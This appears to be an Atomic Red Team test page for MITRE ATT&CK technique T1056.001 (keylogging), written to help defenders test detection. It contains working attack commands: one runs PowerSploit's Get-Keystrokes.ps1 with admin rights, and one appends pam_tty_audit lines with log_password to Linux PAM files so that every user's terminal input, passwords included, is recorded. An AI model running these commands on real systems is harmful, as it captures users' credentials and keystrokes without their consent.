Skip to content

Latest commit

 

History

History
90 lines (49 loc) · 3.99 KB

T1056.001.md

File metadata and controls

90 lines (49 loc) · 3.99 KB
Raw

T1056.001 - Keylogging

Description from ATT&CK

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

  • Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
  • Reading raw keystroke data from the hardware buffer.
  • Windows Registry modifications.
  • Custom drivers.
  • Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

Atomic Tests


Atomic Test #1 - Input Capture

Utilize PowerShell and external resource to capture keystrokes Payload Provided by PowerSploit

Upon successful execution, Powershell will execute Get-Keystrokes.ps1 and output to key.log.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
filepath Name of the local file, include path. Path $env:TEMP\key.log

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Set-Location $PathToAtomicsFolder
.\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath}

Cleanup Commands:

Remove-Item $env:TEMP\key.log -ErrorAction Ignore


Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d

Pluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.

Passwords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).

Use 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library.

Supported Platforms: Linux

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so enable=* log_password" >> /etc/pam.d/system-auth

Cleanup Commands:

sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth